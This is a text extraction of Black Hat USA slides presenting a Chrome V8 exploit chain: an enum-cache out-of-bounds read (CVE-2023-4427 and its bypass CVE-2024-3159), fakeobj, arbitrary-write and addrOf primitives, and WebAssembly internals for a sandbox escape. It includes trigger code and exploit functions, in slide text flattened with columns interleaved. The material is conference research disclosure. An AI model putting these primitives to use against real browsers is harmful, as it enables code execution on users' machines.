Chrome_shell
Chrome_shell
#BHUSA @BlackHatEvents
About Us
2 #BHUSA @BlackHatEvents
Agenda
• Introduction
• Let the Cache Cache
• Tricking V8 engine enum cache
• Exploiting the enum cache vulnerability
• Let the WebAssembly Assemble
• The V8 Sandbox and WebAssembly internals
• Escaping the V8 Sandbox with the novel “field confusion”
technique
• Putting It All Together
• Summary & Takeaways
3 #BHUSA @BlackHatEvents
Introduction
Typical V8 exploit chain targeting Google Chrome without V8 Sandbox
Renderer
Memory Arbitrary Code
V8 Vuln
Corruption Read/Write Execution
Chrome
Code Sandbox
Execution Escape
Outside /OS Kernel
Chrome Vuln
4 #BHUSA @BlackHatEvents
Introduction
Typical V8 exploit chain targeting Google Chrome with V8 Sandbox
Arbitrary
Memory Read/Write V8 Sandbox
V8 Vuln
Corruption (Inside V8 Escape
Sandbox)
Chrome
Code Renderer Exploit
Sandbox
Execution Code Primitives
Escape
Outside /OS Kernel Execution outside V8
Chrome Sandbox
Vuln
5 #BHUSA @BlackHatEvents
Address Space
Known V8
Sandbox Escape V8 Sandbox
Techniques Object1
6 #BHUSA @BlackHatEvents
Introduction
Typical V8 exploit chain targeting Google Chrome with V8 Sandbox
Arbitrary
Memory Read/Write V8 Sandbox
V8 Vuln
Corruption (Inside V8 Escape
Sandbox)
Chrome
Code Renderer Exploit
Sandbox
Execution Code Primitives
Escape
Outside /OS Kernel Execution outside V8
Chrome Sandbox
Vuln
7 #BHUSA @BlackHatEvents
Let the Cache Cache:
Tricking V8 Engine Enum
Cache
#BHUSA @BlackHatEvents
The Basics - JavaScript Objects
Object 1
Map
const object1 = {};
Properties
object1.a = 1;
object1.b = 2; Elements
object1.c = 3; 1
object1.d = 4; In-Object
property 2
object1.e = 5;
value 3
4
Descriptor Array
Map Map
Enum Cache: Empty Map
“a” idx:0 SMI Type
“b” idx:1 SMI …
Properties
“c” idx:2 SMI Nof descriptors = 5
Map
“d” idx:3 SMI Backpointer
length
DescriptorArray
“e” idx:4 SMI 5
Transitions = NULL
9 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
const object1 = {}; Descriptor Array 0 Map 0 Object 1
Map Nof descriptors = 0 Map
Enum Cache: Empty Backpointer = NULL Properties
Descriptor Array Elements
Transitions = NULL
10 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
const object1 = {}; Descriptor Array 0 Map 0 Object 1
object1.a = 1; Map Nof descriptors = 0 Map
Enum Cache: Empty Backpointer = NULL Properties
Descriptor Array Elements
Transition 1
11 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
const object1 = {}; Descriptor Array 0 Map 0 Object 1
object1.a = 1; Map Nof descriptors = 0 Map
Enum Cache: Empty Backpointer = NULL Properties
const object2 = {};
object2.a = 1; Descriptor Array Elements
object2.b = 1; Transition 1
12 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
const object1 = {}; Descriptor Array 0 Map 0 Object 1
object1.a = 1; Map Nof descriptors = 0 Map
Enum Cache: Empty Descriptor Array Properties
const object2 = {};
object2.a = 1; Transition Elements
object2.b = 1; “a” 1
13 #BHUSA @BlackHatEvents
The Basics – Descriptor Array and Transitions
“a” Object 1
const object1 = {}; Descriptor Array 2 Map 1 Map
object1.a = 1;
Map Nof descriptors = 1 Properties
ReduceJSLoadPropertyWithEnumeratedKey()
17 #BHUSA @BlackHatEvents
CVE-2023-4427
• Discovered by Sergei Glazunov of Google Project Zero
• Reported on August 2023
• Out-Of-Bounds read in Enum Cache
• Our Pwn2Own vulnerability is a variant of CVE-2023-4427
18 #BHUSA @BlackHatEvents
CVE-2023-4427
const object1 = {}; object1.a = 1; “a” Object 1
Map 1 Map
const object2 = {}; object2.a = 1;
object2.b = 1;
Enum Cache 1 Nof descriptors = 1 Properties
Map Descriptor Array Elements
const object3 = {}; object3.a = 1;
object3.b = 1; object3.c = 1;
Keys[2] Transition 1
Indices[2]
let escape; “b” Object 2
Map 2 Map
function trigger(callback) {
for (let key in object2) { Descriptor Array 3 Nof descriptors = 2 Properties
callback(); Elements
Map Descriptor Array
escape = object2[key];
} Enum Cache Transition 1
} 1
“a” idx:0 SMI “c”
%PrepareFunctionForOptimization(trigger); “b” idx:1 SMI Map 3 Object 3
trigger(_ => _);
trigger(_ => _); “c” idx:2 SMI Nof descriptors = 3 Map
%OptimizeFunctionOnNextCall(trigger);
Descriptor Array Properties
trigger(_ => { Transitions = NULL Elements
object3.c = 1.1;
1
for (let key in object1){}
}); 1
1
19 #BHUSA @BlackHatEvents
CVE-2023-4427
// Object 1,2 and 3 Setup
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger); push rbp
mov rbp,rsp
trigger(_ => { push rsi
object3.c = 1.1; push rdi
for (let key in object1){} push rax
}); sub rsp,0x30
mov QWORD PTR [rbp-0x20],rsi
cmp rsp,QWORD PTR [r13-0x60]
…
20 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
V8::internal::MapUpdater::ConstructNewMap()
1
function trigger(callback) {
for (let key in object2) { Map 2
callback();
escape = object2[key]; Nof descriptors = 2
} DescriptorArray
}
Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
Descriptor Array 3
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){}
“b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 SMI
22 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Map 2
callback();
escape = object2[key]; Nof descriptors = 2
} DescriptorArray
}
Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
23 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Map 2
callback(); Access Descriptor array via Map
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r8 + 0x17]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
24 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Access Enum cache via
Map 2
callback(); Descriptor array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r14 + r9 + 0xb]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
25 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Access Indices array via Enum
Map 2
callback(); cache
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r14 + r9 + 7]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
26 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Get property value index via
Map 2
callback(); indices array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r9 + 0 + 7]
mov r11d, r9d Transition
%PrepareFunctionForOptimization(trigger); sar r11d, 1
trigger(_ => _); Descriptor Array 4
movsxd r12, r11d
trigger(_ => _); … Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 0
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
27 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Get property value index via
Map 2
callback(); indices array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [rcx + r12*2 + 0xb]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
28 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Get property value index via
Map 2
callback(); indices array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [r9 + r11*4 + 7]
mov r12d, r9d Transition
%PrepareFunctionForOptimization(trigger); sar r12d, 1
trigger(_ => _); Descriptor Array 4
movsxd r15, r12d
trigger(_ => _); … Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
Index For-in Loop 1
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
29 #BHUSA @BlackHatEvents
CVE-2023-4427 Object 2
Map
Properties
// Object 1,2 and 3 Setup Elements
let escape; 1
1
function trigger(callback) {
for (let key in object2) { Get property value index via
Map 2
callback(); indices array
escape = object2[key]; Nof descriptors = 2
} … DescriptorArray
} mov r9d, dword ptr [rcx + r15*2 + 0xb]
… Transition
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); Descriptor Array 4
trigger(_ => _); Map
%OptimizeFunctionOnNextCall(trigger);
Enum Cache
trigger(_ => { “a” idx:0 SMI
object3.c = 1.1;
for (let key in object1){} “b” idx:1 SMI
}); “c” idx:2 Double
Indices 0 OOB memory… Enum Cache 2
Map
Keys[1]
Indices[1]
30 #BHUSA @BlackHatEvents
The Patch Object 2
Map
Properties
trigger(_ => {
Elements
object3.c = 1.1; 1
for (let key in object1){}
});
1
Map 2
v8::internal::MapUpdater::ConstructNewMap(){ Nof descriptors = 2
… DescriptorArray
// If the old descriptors had an enum cache, make sure the new
ones do too. Transition
if (
old_descriptors_->enum_cache()->keys()->length() > 0 && Descriptor Array 4
new_map->NumberOfEnumerableProperties() > 0 Map
) {
Enum Cache
FastKeyAccumulator::InitializeFastPropertyEnumCache( “a” idx:0 SMI
isolate_, new_map, new_map->NumberOfEnumerableProperties());
} “b” idx:1 SMI
… “c” idx:2 Double
}
Enum Cache 2
Map
Keys[3]
Indices[3]
31 #BHUSA @BlackHatEvents
The Bypass - CVE-2024-3159
CVE-2024-3159 CVE-2023-4427
const object4 = {}; object4.a = 1;object4.b = 1; object4.d = 1;
const object1 = {}; object1.a = 1; const object1 = {}; object1.a = 1;
const object2 = {}; object2.a = 1;object2.b = 1; const object2 = {}; object2.a = 1;object2.b = 1;
const object3 = {}; object3.a = 1;object3.b = 1; object3.c = 1; const object3 = {}; object3.a = 1;object3.b = 1; object3.c = 1;
%PrepareFunctionForOptimization(trigger); %PrepareFunctionForOptimization(trigger);
trigger(_ => _); trigger(_ => _);
trigger(_ => _); trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger); %OptimizeFunctionOnNextCall(trigger);
32 #BHUSA @BlackHatEvents
The Bypass - CVE-2024-3159
const object1 = {}; object1.a = 1;
const object2 = {}; object2.a = 1; object2.b = 1;
const object3 = {}; object3.a = 1; object3.b = 1;
object3.c = 1;
let escape;
function trigger(callback) {
for (let key in object2) {
const object4 = {}; callback();
object4.a = 1; escape = object2[key];
object4.b = 1; }
}
object4.d = 1;
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object3.c = 1.1;
for (let key in object1){}
});
33 #BHUSA @BlackHatEvents
CVE-2024-3159
const object4 = {}; object4.a = 1; object4.b = 1; object4.d = 1;
let escape;
function trigger(callback) {
for (let key in object2) {
callback();
escape = object2[key];
}
}
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object3.c = 1.1;
for (let key in object1){}
});
34 #BHUSA @BlackHatEvents
CVE-2024-3159
Object 4 Object 1 Object 2 Object 3
Map Map Map Map
Properties Properties Properties Properties
Elements Elements Elements Elements
1 1 1 1
1 1 1
1 Map 1 1
Nof descriptors=1 “b” Map 2
“c”
Nof descriptors=2 Map 3
Map 4 “d” DescriptorArray
DescriptorArray Nof descriptors=3
Nof descriptors=3 Transition
Transition Array DescriptorArray
DescriptorArray
Transitions = NULL
Transitions = NULL
let escape;
function trigger(callback) {
for (let key in object2) {
callback();
escape = object2[key];
}
}
%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object3.c = 1.1;
for (let key in object1){}
});
36 #BHUSA @BlackHatEvents
CVE-2024-3159
Object 4 Object 1 Object 2 Object 3
Map Map Map Map
Properties Properties Properties Properties
Elements Elements Elements Elements
1 1 1 1
1 1 1
1 Map 1 1
Nof descriptors=1 “b” Map 2
“c” Map 3
Map 4 DescriptorArray Nof descriptors=2
“d” Nof descriptors=3
Nof descriptors=3 Transition DescriptorArray
DescriptorArray
DescriptorArray Transition Array
Transitions = NULL
Transitions = NULL
38 #BHUSA @BlackHatEvents
CVE-2024-3159 Object 3
Map
trigger(_ => { Properties
object3.c = 1.1; Elements
for (let key in object1){}
}); 1
1
v8::internal::MapUpdater::ConstructNewMap(){ 1
… Map 5
// If the old descriptors had an enum cache, make sure the new
ones do too. Nof descriptors=3
if (
Backpointer
old_descriptors_->enum_cache()->keys()->length() > 0 &&
new_map->NumberOfEnumerableProperties() > 0 DescriptorArray
) { Transition = NULL
FastKeyAccumulator::InitializeFastPropertyEnumCache(
isolate_, new_map, new_map->NumberOfEnumerableProperties()); Descriptor Array 5
} Map
…
} Enum Cache: Empty
“a” idx:0 SMI
“b” idx:1 SMI
“c” idx:2 Double
39 #BHUSA @BlackHatEvents
CVE-2024-3159
Object 4 Object 1 Object 2 Object 3
Map Map Map Map
Properties Properties Properties Properties
Elements Elements Elements Elements
1 1 1 1
1 1 1
1 Map 1 1
Nof descriptors=1 “b” Map 2
“c” Map 5
Map 4 DescriptorArray Nof descriptors=2
“d” Nof descriptors=3
Nof descriptors=3 Transition DescriptorArray
DescriptorArray
DescriptorArray Transition Array
Transitions = NULL
Transitions = NULL
Descriptor Array 5
Map
Enum Cache: Empty
“a” idx:0 SMI
“b” idx:1 SMI
“c” idx:2 Double
41 #BHUSA @BlackHatEvents
CVE-2024-3159
Object 1 Object 2 Object 3
Map Map Map
Properties Properties Properties
Elements Elements Elements
1 1 1
1 1
Map 1 1
Nof descriptors=1 “b” Map 2
“c” Map 3
DescriptorArray Nof descriptors=2
Nof descriptors=3
Transition DescriptorArray
DescriptorArray
Transition Array
Transitions = NULL
#BHUSA @BlackHatEvents
Trigger JIT Stably
%PrepareFunctionForOptimization(trigger);
trigger(_ => _); trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);
✗ ✓
Code density is the key!
45 #BHUSA @BlackHatEvents
Control the Out of Bounds Read
Object 2
Map
static #empty_object = {};
const object1 = CreateObject(1), object2 = Properties
CreateObject(9), object3 = CreateObject(10), Elements
object4 = CreateObject(11); Indices[1] 1
Map …
function trigger(callback) {
for (let key in object2) { Size Map 2
if (key == "p7") { 0 Nof descriptors=9
callback(); Enum Cache 2 Backpointer
return object2[key];}}
Map DescriptorArray
}
Object2[0x41424344] Keys[1] Transition
JIT(trigger);
fakeobj = trigger(function() { OOB Indices[1] …
object3.p9 = 1.1; Read String Descriptor Array 5
for (let key in object1) { }; Map
let string = String.fromCharCode.apply(null, Map
Size Enum Cache
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; “ABCD” “p0” idx:0 SMI
}); Indices[7] … … …
46 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
if (key==“p7”){ Map 2
callback(); Nof descriptors = 9
return object2[key]; DescriptorArray
}
Transition
}
} Descriptor Array 5
JIT(trigger); Map
Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} … … …
let string = Index For-in Loop 7
“p9” Idx:10 Double
String.fromCharCode.apply(null, … … …
0x44, 0x43, 0x42, 0x41);
#empty_object[string];
});
47 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
if (key==“p7”){ Map 2
callback(); Nof descriptors = 9
return object2[key]; DescriptorArray
}
Transition
}
} Descriptor Array 5
JIT(trigger); Map
Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} “p1” idx:1 SMI
let string = Index For-in Loop 7
… … …
String.fromCharCode.apply(null,
Indices 0 OOB memory… Enum Cache 2
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; Map
}); Keys[1]
Indices[1]
48 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
if (key==“p7”){ Map 2
callback(); Nof descriptors = 9
return object2[key]; DescriptorArray
}
Transition
}
} Descriptor Array 5
JIT(trigger); Map
Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} “p1” idx:1 SMI
let string = Index For-in Loop 7
… … …
String.fromCharCode.apply(null,
Indices 0 OOB memory… 0x41424344 … Enum Cache 2
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; Map
}); Keys[1]
Indices[1]
49 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
Get property value index via
if (key==“p7”){ Map 2
indices array
callback(); Nof descriptors = 9
return object2[key]; … DescriptorArray
} mov r9d, dword ptr [r9 + r11*4 + 7]
mov r11d, r9d Transition
}
} sar r11d, 1
Descriptor Array 5
JIT(trigger); movsxd r12, r11d
… Map
Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} “p1” idx:1 SMI
Index For-in Loop 7
let string = … … …
String.fromCharCode.apply(null,
Indices 0 OOB memory… 0x41424344 … Enum Cache 2
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; Map
}); Keys[1]
Indices[1]
50 #BHUSA @BlackHatEvents
Control the Out of Bounds Read Object 2
Map
– More Details Properties
Elements
// … 1
function trigger(callback) { …
for (let key in object2) {
Get property value index via
if (key==“p7”){ Map 2
indices array
callback(); Nof descriptors = 9
return object2[key]; … DescriptorArray
} mov r9d, dword ptr [rcx + r15*2 + 0xb]
… Transition
}
} Descriptor Array 5
JIT(trigger); Map
[object2+0x41424344+0xb] Enum Cache
fakeobj = trigger(_ => {
object3.p9 = 1.1; “p0” idx:0 SMI
for (let key in object1){} “p1” idx:1 SMI
Index For-in Loop 7
let string = … … …
String.fromCharCode.apply(null,
Indices 0 OOB memory… 0x41424344 … Enum Cache 2
0x44, 0x43, 0x42, 0x41);
#empty_object[string]; Map
}); Keys[1]
Indices[1]
51 #BHUSA @BlackHatEvents
From Out of Bounds Read to FakeObj
//read the arbitrary offset of object2 in the ASM level Object2_addr
; fakeobj = [object2+arbitrary_offset+0xB]
mov eax, dword ptr [r8+r11*2+0Bh] Object2
add rax, r14
Object2_addr +
The V8 Heap manipulations: offset + 0xB
• Write the arbitrary value at a relative Fake_object_
address (of a known object) addr
• Write the arbitrary value at a fixed address
Fake_object_addr
Fake_object
52 #BHUSA @BlackHatEvents
Write the Arbitrary Value at a
Fixed Address
Large Array 0:000> dd (0x02f10018287d-1)
Map 02f10018287c: 00116db1 000006f5
let large_arr = new Array(0x400000); 01402139 00800000
Properties
large_arr.fill(1.1); Elements
Length
Large Array Elements address is fixed per array size and Chrome Version!
53 #BHUSA @BlackHatEvents
Write the Arbitrary Value at a
Relative Address
• Finding an object X adjacent with the object 2 and containing a constant value field
• Write a value at the relative address of the object2 = object2 address is in a fixed
memory scope + fixed large array element address + the arbitrary value spray
Large_arr_elem_addr:
0x01402139 //read and write
Object2_addr + Large Array with fakeobj
offset + 0xb Fakeobj_addr
Element f = fakeobj[0];
: 0x01402141
Fake_object_ fakeobj[0] = obj;
Fake_object
addr
Object2_addr + //read and write
0x22b2135 + 0xb fakeobj with large array
Fake_object_addr
address a = large_arr[i];
Fake_object spray: large_arr[i] = c;
0x01402141
PACKED_DOUBLE_ELEMENTS
0.000> dd (0x01a600188375-1)
let l = [1.1, 1.2, 1.3, 1.4]; JS Array 01a600188374: 00116d71 000006f5
0018834d 00000008
Map
Properties
PACKED_ELEMENTS
Elements
Length 0.000> dd (0x01a600188385-1)
let a = [1, 2, 3, 1.2, 'x']; 01a600188384: 00116df1 000006f5
00146b11 0000000a
56 #BHUSA @BlackHatEvents
Fake the Object – More Details
large_arr[0] = BigIntAsDouble(FAKE_OBJ_MAP|(0x6f5<<32n));
large_arr[1] = BigIntAsDouble(FAKE_OBJ_ELEMENTS_ADDR|(smi(1n)<<32n));
large_arr[2] = BigIntAsDouble(FIXED_ARRAY_MAP|(smi(0n) << 32n));
58 #BHUSA @BlackHatEvents
From FakeObj to Exploitation
Primitives: Arbitrary Write
function v8_write(bit, addr, val) {
addr |= 1n;
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = BigIntAsDouble(PACKED_DOUBLE_ELEMENTS_MAP | (DEFAULT_JS_ARRAY_PROPERTIES << 32n));
large_arr[1] = BigIntAsDouble(addr | (smi(1n) << 32n));
if(bit==64) fake[0] = BigIntAsDouble(val);
if(bit==32) { let original = read64(addr); fake[0] = BigIntAsDouble(val | (original[1] << 32n)); }
large_arr[1] = BigIntAsDouble(0n | (smi(0n) << 32n));
}
0.000> dd (0x029001402139-1)
Large Array Elements 029001402138: 00000879 00040000
Map 00116d71 000006f5 -> la[0]
029001402148: 12345671 00000002 -> la[1]
Length
Arbitrary
PACKED_DOUBLE_ELEMEN v8_write(32, 0x12345678, 0x13371337)
fakeobj Address
TS_MAP
… 0.000> dd 0x029012345678
DEFAULT_JS_ARRAY_PRO fakeobj[0] 029012345678: 13371337 deadbeef -> fakeobj[0]
PERTIES …
v8_write(64, 0x12345678, 0x1337133713371337)
Arbitray_Addr|1 – 8
Obj_Length-smi(1n) 0.000> dd 0x029012345678
029012345678: 13371337 13371337 -> fakeobj[0]
59 #BHUSA @BlackHatEvents
From FakeObj to Exploitation
Primitives: Addrof
function addrOf(obj) {
large_arr[0] = BigIntAsDouble(PACKED_ELEMENTS_MAP | (DEFAULT_JS_ARRAY_PROPERTIES << 32n));
large_arr[1] = BigIntAsDouble(FAKE_JS_ARRAY_ELEMENTS_ADDR | (smi(1n) << 32n));
fake[0] = obj;
let addr = DoubleAsBigInt(large_arr[3]) | (smi(0n) << 32n);
return addr;
}
61 #BHUSA @BlackHatEvents
Stability: 3 Possible Large Array Element
Addresses
0x01302139 0x01302139 0x01302139
0x01302141 Large Array Element
Fake_object
0x013c2139 0x013c2139
...
0x013c2141 0x013c2141 Large Array Element
Fake_object 0x01402139
Fake_object
Anchor_fakeobj_ Anchor_fakeobj_ Anchor_fakeobj_ Large Array Element
addr:0x01402141 Fake_object addr:0x01402141 Fake_object addr:0x01402141 Fake_object
…
5 fake objects …
evenly distributed 0x014c2141 0x014c2141
with the gap Fake_object Fake_object
0x40000 (0x8000*8)
5 fake objects 0x01502141
evenly distributed Fake_object
with the gap
0x40000 (0x8000*8) 5 fake objects
evenly distributed
5th fake obj: 2nd fake obj: 1st fake obj: with the gap
Large_arr[0x8000*4+3] Large_arr[0x8000+3] Large_arr[0+3] 0x40000 (0x8000*8)
62 #BHUSA @BlackHatEvents
Stability: Find the Index for 3 Possible
Large Array Element Addresses
function find_index() {
let index = -1;
fakeobj[0] = 1.1; 0.000> dd (0x029001402139-1)
for(let i=0; i<5; i++) 029001402138: 00000879 00800000
{ 00116d71 000006f5 -> la[0+index]
if(large_arr[3+i*0x8000] != 029001402148: 01402151 00000002 -> la[1+index]
BigIntAsDouble(FAKE_JS_ARRAY_ADDR | 00000565 00000000 -> la[2+index]
FAKE_JS_ARRAY_ADDR << 32n)) 029001402158: 00162fa1 01402141 -> la[3+index]
& fake[0]
{
index = 0x8000 * i;
break;
}
}
return index;
}
63 #BHUSA @BlackHatEvents
Stability: Scavenger vs MinorMS
Scavenger: V8 current default young generation MinorMS: aka Minor Mark-Sweep, the new V8
garbage collector young generation garbage collector
Free_Chunk_Base
64 #BHUSA @BlackHatEvents
Homework for MinorMS
65 #BHUSA @BlackHatEvents
Let the WebAssembly
Assemble:
The V8 Sandbox
#BHUSA @BlackHatEvents
Address Space
V8 Sandbox
Object1
Raw pointer
(64bits pointer)
Object2
67 #BHUSA @BlackHatEvents
Address Space
V8 Sandbox
Object1
Offset
(From Sandbox base addr)
Object2
Raw pointer
External
Object
68 #BHUSA @BlackHatEvents
Address Space
V8 Sandbox
Object1
Object3 Object4
Offset
Index
69 #BHUSA @BlackHatEvents
Let the WebAssembly
Assemble:
The WASM Internals
#BHUSA @BlackHatEvents
WASM Internals – RWX Memory Region
WASM RWX Memory
var wasm_code = new Uint8Array([…]); CallTarget
71 #BHUSA @BlackHatEvents
WASM Internals – Module and Instance
Address Space
V8 Sandbox
WasmInstanceObject WasmModuleObject
Map Map
Trusted Ptr Table External Ptr Table
Index Index
WasmModuleObject …
External NativeModule
Trusted WasmTrustedInstanceData Pointer Table WasmModule
Pointer Table Map 0 Type+Pointer …
0 Type+Pointer … 1 Type+Pointer
1 Type+Pointer WasmModule
wasm_dispatch_table
…
jump_table_start
Vector<WasmFunction>
…
…
72 #BHUSA @BlackHatEvents
WASM Internals – Export Functions
Address Space
V8 Sandbox
WasmExportFunction SharedFunctionInfo WasmExportedFunctionData
Map Map Map
SharedFunctionInfo WasmExportedFunctionData WasmInternalFunction
… … WasmInstanceObject
Function Index
WasmInternalFunction
Map
WasmInstanceObject
External
Function Index
73 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
74 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
const tbl = new WebAssembly.Table({ (module
initial: 1, (type $whatever (func (result f32)))
element: "anyfunc", (import "env" "tbl" (table $tb 1 funcref))
maximum: 10 (func $main (param $parametre f32) (result f32)
}); (f32.mul
(call_indirect (type $whatever)
(i32.const 0))
const importObject = { (local.get $parametre)
env: {tbl} )
}; )
(export "main" (func $main))
let wasm_code_1 = new Uint8Array([…]); )
tbl.set(0, indirect);
wasm_instance_1.exports.main(1000); //15
75 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
… void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
Handle<WasmTableObject> table,
tbl.set(0, indirect); int entry_index,
Handle<Object> entry) {
wasm_instance_1.exports.main(1000); //15 ...
Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));
WasmExportFunction
if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
Map auto exported_function = Handle<WasmExportedFunction>::cast(external);
SharedFunctionInfo
Handle<WasmTrustedInstanceData> target_instance_data(
exported_function->instance()->trusted_data(isolate), isolate);
SharedFunctionInfo
Map int func_index = exported_function->function_index();
76 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
… void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
Handle<WasmTableObject> table,
tbl.set(0, indirect); int entry_index,
Handle<Object> entry) {
wasm_instance_1.exports.main(1000); //15 ...
Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));
WasmInstanceObject
Map if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
Trusted Ptr Table Index auto exported_function = Handle<WasmExportedFunction>::cast(external);
if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
auto exported_function = Handle<WasmExportedFunction>::cast(external);
Handle<WasmTrustedInstanceData> target_instance_data(
exported_function->instance()->trusted_data(isolate), isolate);
